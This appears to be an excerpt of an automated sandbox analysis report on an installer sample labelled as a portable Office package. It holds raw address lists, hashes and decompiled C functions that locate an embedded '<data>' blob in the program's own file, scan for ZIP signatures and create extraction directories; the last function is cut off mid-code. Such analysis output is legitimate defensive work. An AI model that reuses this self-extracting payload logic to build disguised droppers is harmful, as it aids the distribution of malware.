0x000cabde
0x000cabe7
0x000cabf1
0x000cabf4
0x000cabf6
0x00000000
0x000cabfc
0x000cabfc
0x000cabff
0x000cac5c
0x000cac60
0x000cac64
0x000cacd2
0x000cacdb
0x000cace0
0x000cace2
0x000cace6
0x000cace8
0x000cacf0
0x000cacf0
0x000cacf5
0x000cacf8
0x000cacf9
0x000cacfa
0x000cacff
0x000cad02
0x000cad04
0x00000000
0x00000000
0x000cad0a
0x000cad0a
0x000cacf0
0x00000000
0x000cac66
0x000cac66
0x000cac6f
0x000cac74
0x000cac74
0x000cac79
0x000cac7d
0x00000000
0x000cac7d
0x000cac01
0x000cac01
0x000cac04
0x00000000
0x000cac0a
0x000cac0a
0x000cac0f
0x000cac82
0x000cac82
0x000cac8a
0x000cac8c
0x000cac8f
0x000cac93
0x000cac96
0x00000000
0x00000000
0x00000000
0x00000000
0x000cac11
0x000cac11
0x000cac1a
0x000cac29
0x000cac2e
0x000cac31
0x000cac9f
0x000cac9f
0x000caca4
0x000cacaa
0x000cacaf
0x000cacaf
0x00000000
0x000cacb2
0x000cac0f
0x000cac04
0x000cabff
0x000cabf6
0x00000000
0x000cab58
0x000cad10
0x000cad15
0x000cad1a
0x000cad1b
0x000cad1c
0x000cad1d
0x000cad1e
0x000cad1f
0x000cad26
0x000cad29
0x000cad30
0x000cad34
0x000cad35
0x000cad36
0x000cad39
0x000cad3a
0x000cad42
0x000cad44
0x000cad60
0x000cad60
0x000cad63
0x000cad46
0x000cad46
0x000cad4a
0x00000000
0x000cad4c
0x000cad4c
0x000cad50
0x00000000
0x000cad52
0x000cad55
0x000cad58
0x000cad5b
0x000cad5b
0x000cad50
0x000cad4a
0x000cad66
0x000cad6a
0x000cad6e
0x000cadf8
0x000cadf8
0x000cadfd
0x000cadff
0x000cae04
0x000cae07
0x000cae0e
0x000cae15
0x000cad74
0x000cad76
0x000cad7b
0x000cad7d
0x00000000
0x000cad7f
0x000cad7f
0x000cad85
0x000cad87
0x000cad8a
0x000cad91
0x000cad91
0x000cad92
0x000cad93
0x000cad94
0x000cad97
0x000cad9c
0x000cad9f
0x000cada1
0x00000000
0x00000000
0x00000000
0x00000000
0x000cad8c
0x000cad8c
0x000cad8f
0x000cada3
0x000cadab
0x000cadb0
0x000cadb3
0x000cadb5
0x00000000
0x000cadb7
0x000cadb7
0x000cadbd
0x000cadbf
0x000cadc7
0x000cadcc
0x000cadd1
0x000cadd3
0x000cadd3
0x000cadd5
0x000caddc
0x000cade3
0x000cade9
0x000cadf0
0x000cadf3
0x000cadf3
0x00000000
0x00000000
0x00000000
0x000cad8f
0x000cad8a
0x000cad7d
0x000cae20
0x000cae23
0x000cae24
0x000cae25
0x000cae2f
0x000cae2f
0x000caaeb
0x000caaeb
0x000caaee
0x000caaf3
0x000caaf6
0x000caaf9
0x00000000
0x000caafb
0x000caafb
0x00000000
0x000caaf9
0x000caabf
0x000caabf
0x00000000
0x000caabf
0x000caa96
0x000caa96
0x000caa99
0x000caa9b
0x000caaa0
0x00000000
0x000caaa2
0x000caaa5
0x000caaa7
0x000caaaa
0x000caaaf
0x000cacb4
0x000cacb8
0x000cacc0
0x000cacc1
0x000cacc2
0x000cacd1
0x000cacd1
0x000caaa0
0x00000000

APIs

_fgetc.LIBCMT ref: 000CAAEE
__fseeki64.LIBCMT ref: 000CAD97

Strings

string too long, xrefs: 000CAD10

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: __fseeki64_fgetc
String ID: string too long
API String ID: 3366737790-2556327735
Opcode ID: a6959032210b4a42133749cf5882af752c8051d197ca5e5f44d66dc3a38048fe
Instruction ID: c92c34d5e4b33becc3e8c69a64dbb16d25d8f7411cd8be54520073238bcaf04e
Opcode Fuzzy Hash: a6959032210b4a42133749cf5882af752c8051d197ca5e5f44d66dc3a38048fe
Instruction Fuzzy Hash: 5DC16A716087099FC714CF28C880B6EB7E4FF89328F544A2DF85697691D731E984CB92

Uniqueness

Uniqueness Score: -1.00%

Function 000C6280, Relevance: 10.7, APIs: 7, Instructions: 171
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E000C6280(char* __ecx, signed int __edx) {
				signed int _v8;
				long _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t56;
				intOrPtr _t59;
				signed int _t61;
				signed int _t69;
				void* _t71;
				intOrPtr _t72;
				int _t74;
				long _t80;
				void* _t84;
				intOrPtr _t86;
				void* _t87;
				long _t90;
				void* _t91;
				intOrPtr _t97;
				intOrPtr _t109;
				void* _t112;
				void* _t113;
				void* _t114;
				void* _t115;
				signed int _t116;
				void* _t117;
				void* _t118;

				_t107 = __edx;
				_t56 =  *0xef6ac; // 0xcff43140
				_v8 = _t56 ^ _t116;
				_t111 = __ecx;
				if( *__ecx == 0) {
					 *((intOrPtr*)(__ecx + 0x1c)) =  *((intOrPtr*)(__ecx + 0x18));
					goto L5;
				} else {
					if( *((char*)(__ecx + 1)) == 0) {
						return E000CC7C7(_t84, _v8 ^ _t116, __edx, __ecx, _t112);
					} else {
						SetFilePointer( *(__ecx + 4), 0, 0, 2);
						L5:
						if( *_t111 == 0) {
							_t59 =  *((intOrPtr*)(_t111 + 0x1c));
						} else {
							if( *((char*)(_t111 + 1)) == 0) {
								_t59 = 0;
							} else {
								_t80 = SetFilePointer( *(_t111 + 4), 0, 0, 1); // executed
								_t59 = _t80 -  *((intOrPtr*)(_t111 + 0xc));
							}
						}
						_push(_t84);
						_push(_t112);
						_t86 =  <  ? _t59 : 0xffff;
						_v20 = _t59;
						_v36 = 0xffff;
						_t113 = E000CD0B9(_t86, _t107, _t111, 0x404);
						_t118 = _t117 + 4;
						if(_t113 != 0) {
							_t61 = 4;
							_v16 = 0xffffffff;
							if(0xffff > 4) {
								do {
									_t107 =  >  ? _t86 : _t61 + 0x400;
									_t97 = _v20 - _t107;
									_t90 =  >  ? 0x404 : _v20 - _t97;
									_v32 = _t107;
									_v28 = _t97;
									if( *_t111 == 0) {
										 *((intOrPtr*)(_t111 + 0x1c)) = _t97;
										goto L18;
									} else {
										if( *((char*)(_t111 + 1)) != 0) {
											SetFilePointer( *(_t111 + 4),  *((intOrPtr*)(_t111 + 0xc)) + _t97, 0, 0); // executed
											L18:
											_t98 = _t90;
											_v24 = _t90;
											if( *_t111 == 0) {
												_t109 =  *((intOrPtr*)(_t111 + 0x1c));
												if(_t109 + _t90 >  *((intOrPtr*)(_t111 + 0x18))) {
													_t98 =  *((intOrPtr*)(_t111 + 0x18)) - _t109;
													_v24 =  *((intOrPtr*)(_t111 + 0x18)) - _t109;
												}
												E000CE520(_t113,  *((intOrPtr*)(_t111 + 0x14)) + _t109, _t98);
												_t69 = _v24;
												_t118 = _t118 + 0xc;
												 *((intOrPtr*)(_t111 + 0x1c)) =  *((intOrPtr*)(_t111 + 0x1c)) + _t69;
											} else {
												_t74 = ReadFile( *(_t111 + 4), _t113, _t90,  &_v12, 0); // executed
												if(_t74 == 0) {
													 *((char*)(_t111 + 8)) = 1;
												}
												_t69 = _v12;
											}
											_t107 = _t69 % _t90;
											if(_t69 / _t90 == 1) {
												_t41 = _t90 - 3; // 0xc646a
												_t71 = _t41;
												if(_t71 < 0) {
													L32:
													_t72 = _v16;
												} else {
													while(1) {
														_t71 = _t71 - 1;
														if( *((char*)(_t71 + _t113)) == 0x50 &&  *((char*)(_t71 + _t113 + 1)) == 0x4b &&  *((char*)(_t71 + _t113 + 2)) == 5 &&  *((char*)(_t71 + _t113 + 3)) == 6) {
															break;
														}
														if(_t71 >= 0) {
															continue;
														} else {
															goto L32;
														}
														goto L33;
													}
													_t72 = _t71 + _v28;
													_v16 = _t72;
												}
												L33:
												if(_t72 == 0) {
													goto L34;
												}
											}
										}
									}
									goto L35;
									L34:
									_t61 = _v32;
									_t86 = _v36;
								} while (_t61 < _t86);
							}
							L35:
							E000CD081(_t113);
							_pop(_t114);
							_pop(_t87);
							return E000CC7C7(_t87, _v8 ^ _t116, _t107, _t111, _t114);
						} else {
							_pop(_t115);
							_pop(_t91);
							return E000CC7C7(_t91, _v8 ^ _t116, _t107, _t111, _t115);
						}
					}
				}
			}

0x000c6280
0x000c6286
0x000c628d
0x000c6291
0x000c629c
0x000c62cc
0x00000000
0x000c629e
0x000c62a2
0x000c62c8
0x000c62a4
0x000c62ad
0x000c62cf
0x000c62d2
0x000c62ee
0x000c62d4
0x000c62d8
0x000c62ea
0x000c62da
0x000c62e3
0x000c62e5
0x000c62e5
0x000c62d8
0x000c62f1
0x000c62f9
0x000c62fa
0x000c6302
0x000c6305
0x000c630d
0x000c630f
0x000c6314
0x000c632a
0x000c632f
0x000c6338
0x000c6340
0x000c634c
0x000c6352
0x000c6361
0x000c6367
0x000c636a
0x000c636d
0x000c638e
0x00000000
0x000c636f
0x000c6373
0x000c6386
0x000c6391
0x000c6394
0x000c6396
0x000c6399
0x000c63b9
0x000c63c2
0x000c63c7
0x000c63c9
0x000c63c9
0x000c63d4
0x000c63d9
0x000c63dc
0x000c63df
0x000c639b
0x000c63a6
0x000c63ae
0x000c63b0
0x000c63b0
0x000c63b4
0x000c63b4
0x000c63e4
0x000c63e9
0x000c63eb
0x000c63eb
0x000c63f0
0x000c6412
0x000c6412
0x000c63f2
0x000c63f2
0x000c63f2
0x000c63f7
0x00000000
0x00000000
0x000c6410
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000c6410
0x000c6444
0x000c6447
0x000c6447
0x000c6415
0x000c6417
0x00000000
0x00000000
0x000c6417
0x000c63e9
0x000c6373
0x00000000
0x000c6419
0x000c6419
0x000c641c
0x000c641f
0x000c6340
0x000c6427
0x000c6428
0x000c6438
0x000c6439
0x000c6443
0x000c6316
0x000c6316
0x000c6317
0x000c6329
0x000c6329
0x000c6314
0x000c62a2

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000002,00000000,?,?,?,?,000C646D,00000140,00000000,00000000), ref: 000C62AD
SetFilePointer.KERNELBASE(?,00000000,00000000,00000001,00000000,?,?,?,?,000C646D,00000140,00000000,00000000), ref: 000C62E3
_malloc.LIBCMT ref: 000C6308
SetFilePointer.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,?,000C646D), ref: 000C6386
ReadFile.KERNELBASE(?,00000000,000C646D,00000000,00000000,00000000,?,?,?,?,000C646D), ref: 000C63A6
_memmove.LIBCMT ref: 000C63D4
_free.LIBCMT ref: 000C6428

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: File$Pointer$Read_free_malloc_memmove
String ID:
API String ID: 2793708502-0
Opcode ID: dc8f85cc434dd09240d18b2a64d4c56ce555ee79c7be7c5d6e2c72ee69ce5543
Instruction ID: a81f3df7de5545726424038198fe2d56fb3821a4a264e7cee1c5b1cf57df4925
Opcode Fuzzy Hash: dc8f85cc434dd09240d18b2a64d4c56ce555ee79c7be7c5d6e2c72ee69ce5543
Instruction Fuzzy Hash: B151C1B1A04646AFEB28CFA8C885F6DBBF1AF04304F10427DE5159B691D776ED91CB80

Uniqueness

Uniqueness Score: -1.00%

Function 000C8860, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E000C8860(struct HWND__* _a4, intOrPtr _a12) {
				signed int _v12;
				struct _WNDCLASSA _v52;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t25;
				struct HWND__* _t26;
				void* _t32;
				void* _t37;
				struct HWND__* _t38;
				struct HINSTANCE__* _t39;
				signed int _t40;

				_t19 =  *0xef6ac; // 0xcff43140
				_v12 = _t19 ^ _t40;
				_t38 = _a4;
				_t39 = GetWindowLongA(_t38, 0xfffffffa);
				_v52.style = 3;
				_v52.lpfnWndProc = E000C8760;
				_v52.cbClsExtra = 0;
				_v52.cbWndExtra = 0;
				_v52.hInstance = _t39;
				_v52.hIcon = 0;
				_v52.hCursor = LoadCursorA(0, 0x7f00);
				_v52.hbrBackground = 5;
				_v52.lpszMenuName = 0;
				_v52.lpszClassName = "AnimationWindow";
				if(GetClassInfoA(_t39, "AnimationWindow",  &_v52) != 0 || RegisterClassA( &_v52) != 0) {
					_t25 = _a12;
					 *0xf0774 = _t25;
					 *0xf077c = 0;
					 *0xf0778 = 0;
					if( *((intOrPtr*)(_t25 + 0x10)) <= 0) {
						_t26 = 0;
					} else {
						_t26 = CreateWindowExA(0, "AnimationWindow", 0xea8df, 0x40000000, 0, 0, 0, 0, _t38, 0x3e8, _t39, 0xf0764); // executed
					}
					 *0xf0770 = _t26;
					return E000CC7C7(_t32, _v12 ^ _t40, _t37, _t38, _t39);
				} else {
					return E000CC7C7(_t32, _v12 ^ _t40, _t37, _t38, _t39);
				}
			}

0x000c8866
0x000c886d
0x000c8872
0x000c8883
0x000c8887
0x000c888e
0x000c8895
0x000c889c
0x000c88a3
0x000c88a6
0x000c88b3
0x000c88c0
0x000c88c7
0x000c88ce
0x000c88dd
0x000c8902
0x000c8905
0x000c890a
0x000c8914
0x000c8922
0x000c8951
0x000c8924
0x000c8949
0x000c8949
0x000c8959
0x000c8967
0x000c88ee
0x000c88ff
0x000c88ff

APIs

GetWindowLongA.USER32 ref: 000C8878
LoadCursorA.USER32 ref: 000C88AD
GetClassInfoA.USER32 ref: 000C88D5
RegisterClassA.USER32 ref: 000C88E3
CreateWindowExA.USER32 ref: 000C8949

Strings

AnimationWindow, xrefs: 000C88BA, 000C88CE, 000C8942

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: ClassWindow$CreateCursorInfoLoadLongRegister
String ID: AnimationWindow
API String ID: 679294916-2919122825
Opcode ID: 13299342a549398f63edfb3635231c4034ccb6e652951366125eefd378cedcdc
Instruction ID: 7e2c284c02e6b496fe5f87dcdcb14aabd5709a7be4e453e8d3b0b2f901191ff5
Opcode Fuzzy Hash: 13299342a549398f63edfb3635231c4034ccb6e652951366125eefd378cedcdc
Instruction Fuzzy Hash: BF219FB1A44348AFEB00DFA5DC49FAE7FB4EB08B14F10415DE501BA281DBB86504CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000C2480, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 194
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E000C2480(intOrPtr* __ecx, intOrPtr* __edx) {
				struct _OVERLAPPED* _v8;
				char _v16;
				signed int _v20;
				char _v283;
				char _v284;
				intOrPtr _v288;
				struct _OVERLAPPED* _v292;
				char _v308;
				intOrPtr _v312;
				struct _OVERLAPPED* _v316;
				char _v332;
				intOrPtr _v336;
				struct _OVERLAPPED* _v340;
				char _v356;
				long _v360;
				void* _v364;
				struct _OVERLAPPED* _v368;
				intOrPtr* _v372;
				struct _OVERLAPPED* _v376;
				long _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				char _v408;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t63;
				signed int _t64;
				int _t70;
				void* _t75;
				void* _t80;
				int _t81;
				struct _OVERLAPPED* _t88;
				char* _t93;
				void* _t101;
				void* _t102;
				int _t103;
				intOrPtr* _t106;
				void* _t125;
				long _t126;
				int _t127;
				void* _t129;
				void* _t131;
				signed char* _t132;
				signed int _t134;
				void* _t135;
				void* _t137;

				_t122 = __edx;
				_push(0xffffffff);
				_push(E000E36D1);
				_push( *[fs:0x0]);
				_t63 =  *0xef6ac; // 0xcff43140
				_t64 = _t63 ^ _t134;
				_v20 = _t64;
				_push(_t101);
				_push(_t64);
				 *[fs:0x0] =  &_v16;
				_v372 = __ecx;
				_v284 = 0;
				E000D1050( &_v283, 0, 0x103);
				_t137 = _t135 - 0x18c + 0xc;
				if(GetModuleFileNameA(0,  &_v284, 0x104) != 0x104) {
					__eflags = _v284;
					_v312 = 0xf;
					_v316 = 0;
					_v332 = 0;
					if(_v284 != 0) {
						_t106 =  &_v284;
						_t12 = _t106 + 1; // 0x1
						_t122 = _t12;
						do {
							_t70 =  *_t106;
							_t106 = _t106 + 1;
							__eflags = _t70;
						} while (_t70 != 0);
						_t107 = _t106 - _t122;
						__eflags = _t106 - _t122;
					} else {
						_t107 = 0;
					}
					E000C3040( &_v332,  &_v284, _t107);
					_v8 = 0;
					__eflags = _v312 - 0x10;
					_t74 =  >=  ? _v332 :  &_v332;
					_t75 = CreateFileA( >=  ? _v332 :  &_v332, 0x80000000, 0, 0, 3, 0, 0); // executed
					_t129 = _t75;
					__eflags = _t129 - 0xffffffff;
					if(__eflags == 0) {
						L27:
						__eflags = 0;
					} else {
						_t126 = GetFileSize(_t129, 0);
						_push(_t126);
						_v380 = _t126;
						_t80 = E000CBDF0(_t101, _t126, __eflags); // executed
						_t137 = _t137 + 4;
						_v364 = _t80;
						_t81 = ReadFile(_t129, _t80, _t126,  &_v360, 0); // executed
						__eflags = _t81;
						if(_t81 == 0) {
							goto L27;
						} else {
							_t103 = 0;
							_v368 = 0;
							E000C2DE0( &_v356, _t126, "data");
							_v8 = 1;
							_t122 = E000C3740( &_v408, "<",  &_v356);
							_v8 = 2;
							E000C3830( &_v308, _t84, ">");
							_t137 = _t137 + 8;
							__eflags = _v388 - 0x10;
							if(_v388 >= 0x10) {
								L000CC7D6(_v408);
								_t137 = _t137 + 4;
							}
							_t132 = _v364;
							_t127 = _v292;
							_v384 = _t126 - _t127;
							_t88 = 0;
							__eflags = 0;
							while(1) {
								__eflags = _t88 - _v384;
								if(_t88 >= _v384) {
									break;
								}
								_t93 = E000C2EF0( &_v308, 0);
								__eflags = ( *_t132 & 0x000000ff) -  *_t93;
								if(( *_t132 & 0x000000ff) ==  *_t93) {
									_t122 = 0;
									_t103 = 1;
									__eflags = _t127;
									if(_t127 > 0) {
										do {
											__eflags = _v288 - 0x10;
											_t97 =  >=  ? _v308 :  &_v308;
											__eflags = (_t132[_t122] & 0x000000ff) -  *((char*)(( >=  ? _v308 :  &_v308) + _t122));
											_v376 = 0;
											_t103 =  !=  ? _v376 : 1;
											_t122 = _t122 + 1;
											__eflags = _t122 - _t127;
										} while (_t122 < _t127);
									}
								}
								_t88 =  &(_v368->Internal);
								_t132 =  &(_t132[1]);
								_v368 = _t88;
								__eflags = _t103;
								if(_t103 == 0) {
									continue;
								} else {
									L20:
									_t122 = _v372;
									 *_v372 = _v380 - _t88 - 1 + _t127;
								}
								L22:
								__eflags = _v288 - 0x10;
								if(_v288 >= 0x10) {
									L000CC7D6(_v308);
									_t137 = _t137 + 4;
								}
								__eflags = _v336 - 0x10;
								_v288 = 0xf;
								_v292 = 0;
								_v308 = 0;
								if(_v336 >= 0x10) {
									L000CC7D6(_v356);
									_t137 = _t137 + 4;
								}
								_v336 = 0xf;
								_v340 = 0;
								_v356 = 0;
								goto L28;
							}
							__eflags = _t103;
							if(_t103 == 0) {
								__eflags = 0;
							} else {
								goto L20;
							}
							goto L22;
						}
					}
					L28:
					__eflags = _v312 - 0x10;
					if(_v312 >= 0x10) {
						L000CC7D6(_v332);
					}
				} else {
				}
				 *[fs:0x0] = _v16;
				_pop(_t125);
				_pop(_t131);
				_pop(_t102);
				return E000CC7C7(_t102, _v20 ^ _t134, _t122, _t125, _t131);
			}

0x000c2480
0x000c2483
0x000c2485
0x000c2490
0x000c2497
0x000c249c
0x000c249e
0x000c24a1
0x000c24a4
0x000c24a8
0x000c24ae
0x000c24c2
0x000c24c9
0x000c24ce
0x000c24ea
0x000c24f3
0x000c24fa
0x000c2504
0x000c250e
0x000c2515
0x000c251b
0x000c2521
0x000c2521
0x000c2524
0x000c2524
0x000c2526
0x000c2527
0x000c2527
0x000c252b
0x000c252b
0x000c2517
0x000c2517
0x000c2517
0x000c253b
0x000c2548
0x000c254f
0x000c255e
0x000c256b
0x000c2571
0x000c2573
0x000c2576
0x000c2734
0x000c2734
0x000c257c
0x000c2585
0x000c2587
0x000c2588
0x000c258e
0x000c2593
0x000c25a2
0x000c25a8
0x000c25ae
0x000c25b0
0x00000000
0x000c25b6
0x000c25c1
0x000c25c3
0x000c25cd
0x000c25e4
0x000c25f2
0x000c25fa
0x000c25fe
0x000c2603
0x000c2606
0x000c260d
0x000c2615
0x000c261a
0x000c261a
0x000c261d
0x000c2625
0x000c262d
0x000c2633
0x000c2633
0x000c2635
0x000c2635
0x000c263b
0x00000000
0x00000000
0x000c2645
0x000c2650
0x000c2652
0x000c2654
0x000c2656
0x000c2658
0x000c265a
0x000c2660
0x000c2660
0x000c2671
0x000c267f
0x000c2681
0x000c268b
0x000c2692
0x000c2693
0x000c2693
0x000c2660
0x000c265a
0x000c269d
0x000c269e
0x000c269f
0x000c26a5
0x000c26a7
0x00000000
0x000c26a9
0x000c26af
0x000c26b5
0x000c26c6
0x000c26c8
0x000c26ce
0x000c26ce
0x000c26d5
0x000c26dd
0x000c26e2
0x000c26e2
0x000c26e5
0x000c26ec
0x000c26f6
0x000c2700
0x000c2707
0x000c270f
0x000c2714
0x000c2714
0x000c2717
0x000c2721
0x000c272b
0x00000000
0x000c272b
0x000c26ab
0x000c26ad
0x000c26cc
0x00000000
0x00000000
0x00000000
0x00000000
0x000c26ad
0x000c25b0
0x000c2736
0x000c2736
0x000c273d
0x000c2745
0x000c274a
0x000c24ec
0x000c24ec
0x000c2752
0x000c275a
0x000c275b
0x000c275c
0x000c276a

APIs

GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,?,00000000,75146490), ref: 000C24DF
CreateFileA.KERNELBASE(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,00000001,?,00000000,75146490), ref: 000C256B
GetFileSize.KERNEL32(00000000,00000000,?,00000000,75146490), ref: 000C257F
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,?,00000000,75146490), ref: 000C25A8

Strings

data, xrefs: 000C25B6

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: File$CreateModuleNameReadSize
String ID: data
API String ID: 2207498549-2918445923
Opcode ID: fe0bae601aa65471b180b07f9d9874bf148f1fcc71f82e6ca48b17ff36698f84
Instruction ID: b26100dbc65641e18cc55ce30f473d948e0865a56952a89a2957dc2ad0ce5859
Opcode Fuzzy Hash: fe0bae601aa65471b180b07f9d9874bf148f1fcc71f82e6ca48b17ff36698f84
Instruction Fuzzy Hash: EC81BB71A042689BEB25DB24CC95FEEBBB4AB09700F4001EDE40EA7691DB755F84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 000C7980, Relevance: 7.6, APIs: 5, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E000C7980(void* __ebx, CHAR* __ecx, signed int* __edx) {
				intOrPtr _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v24;
				char _v268;
				char _v279;
				char _v280;
				char _v528;
				struct _OVERLAPPED* _v532;
				char _v544;
				long _v548;
				struct _FILETIME _v572;
				struct _FILETIME _v580;
				struct _FILETIME _v588;
				long _v592;
				char _v856;
				struct _OVERLAPPED* _v860;
				char _v861;
				char _v1432;
				void* __edi;
				void* __esi;
				signed int _t91;
				signed int _t93;
				signed int _t106;
				signed int _t108;
				signed int _t109;
				signed int _t112;
				void* _t116;
				signed int _t119;
				signed int _t123;
				intOrPtr* _t124;
				signed int _t127;
				void* _t133;
				long _t136;
				signed int _t146;
				void* _t147;
				signed int _t159;
				signed int _t164;
				signed int _t166;
				long _t172;
				signed int* _t175;
				void* _t176;
				struct _OVERLAPPED* _t177;
				void* _t178;
				void* _t179;
				void* _t180;
				void* _t181;
				void* _t182;
				void* _t183;
				signed int* _t187;
				intOrPtr _t188;
				struct _OVERLAPPED* _t190;
				signed int* _t197;
				CHAR* _t227;
				void* _t228;
				signed int* _t229;
				void* _t233;
				void* _t234;
				void* _t235;
				void* _t236;
				void* _t237;
				void* _t238;
				signed int* _t239;
				void* _t240;
				struct _OVERLAPPED* _t241;
				signed int _t242;
				long _t245;
				void* _t246;
				void* _t247;
				signed int* _t248;
				void* _t249;
				void* _t250;
				signed int _t251;
				void* _t252;
				signed int _t253;
				signed int _t254;
				signed int _t256;
				void* _t258;
				signed int _t259;
				void* _t264;

				_t219 = __edx;
				_t91 =  *0xef6ac; // 0xcff43140
				_v8 = _t91 ^ _t253;
				_push(__ebx);
				_t227 = __ecx;
				_t175 = __edx;
				if(__ecx != 0) {
					_t172 = GetFileAttributesA(__ecx); // executed
					if(_t172 == 0xffffffff) {
						CreateDirectoryA(_t227, 0);
					}
				}
				_t93 =  *_t175;
				if(_t93 == 0) {
					L16:
					_pop(_t228);
					_pop(_t176);
					return E000CC7C7(_t176, _v8 ^ _t253, _t219, _t228, _t238);
				} else {
					_push(_t238);
					_t239 = _t175;
					_t187 = _t175;
					do {
						if(_t93 == 0x2f || _t93 == 0x5c) {
							_t239 = _t187;
						}
						_t93 = _t187[0];
						_t187 =  &(_t187[0]);
					} while (_t93 != 0);
					if(_t239 == _t175) {
						L12:
						_v268 = 0;
						_pop(_t238);
						if(_t227 != 0) {
							E000CD14B( &_v268, 0x104, _t227);
							_t256 = _t256 + 0xc;
						}
						E000CD52D( &_v268, 0x104, _t175);
						if(GetFileAttributesA( &_v268) == 0xffffffff) {
							CreateDirectoryA( &_v268, 0);
						}
						goto L16;
					} else {
						_t240 = _t239 - _t175;
						E000CE520( &_v528, _t175, _t240);
						_t256 = _t256 + 0xc;
						if(_t240 >= 0x104) {
							E000CD453();
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t253);
							_t254 = _t256;
							_t258 = _t256 - 0x35c;
							_t106 =  *0xef6ac; // 0xcff43140
							_v548 = _t106 ^ _t254;
							_push(_t175);
							_t177 = _v532;
							_push(_t240);
							_push(_t227);
							_t229 = _t187;
							__eflags = _t229[1] - 0xffffffff;
							if(_t229[1] != 0xffffffff) {
								E000C7140( *_t229, _t219);
							}
							_t108 =  *_t229;
							_t188 = _v0;
							_t229[1] = 0xffffffff;
							__eflags = _t188 -  *((intOrPtr*)(_t108 + 4));
							if(_t188 <  *((intOrPtr*)(_t108 + 4))) {
								__eflags = _t188 -  *((intOrPtr*)(_t108 + 0x10));
								if(_t188 <  *((intOrPtr*)(_t108 + 0x10))) {
									E000C6A90(_t108);
									_t188 = _v0;
								}
								_t109 =  *_t229;
								__eflags =  *((intOrPtr*)(_t109 + 0x10)) - _t188;
								if( *((intOrPtr*)(_t109 + 0x10)) < _t188) {
									do {
										_t251 =  *_t229;
										__eflags = _t251;
										if(_t251 != 0) {
											__eflags =  *(_t251 + 0x18);
											if( *(_t251 + 0x18) != 0) {
												_t219 =  *((intOrPtr*)(_t251 + 0x10)) + 1;
												__eflags = _t219 -  *((intOrPtr*)(_t251 + 4));
												if(_t219 !=  *((intOrPtr*)(_t251 + 4))) {
													 *((intOrPtr*)(_t251 + 0x14)) =  *((intOrPtr*)(_t251 + 0x14)) +  *((intOrPtr*)(_t251 + 0x48)) + 0x2e +  *((intOrPtr*)(_t251 + 0x50)) +  *((intOrPtr*)(_t251 + 0x4c));
													_t31 = _t251 + 0x78; // 0x78
													 *((intOrPtr*)(_t251 + 0x10)) = _t219;
													_t33 = _t251 + 0x28; // 0x28
													_t219 = _t33;
													_t164 = E000C66B0(_t251, _t33, _t31, 0, 0);
													_t188 = _v0;
													_t258 = _t258 - 0x10 + 0x1c;
													asm("sbb eax, eax");
													_t166 =  ~_t164 + 1;
													__eflags = _t166;
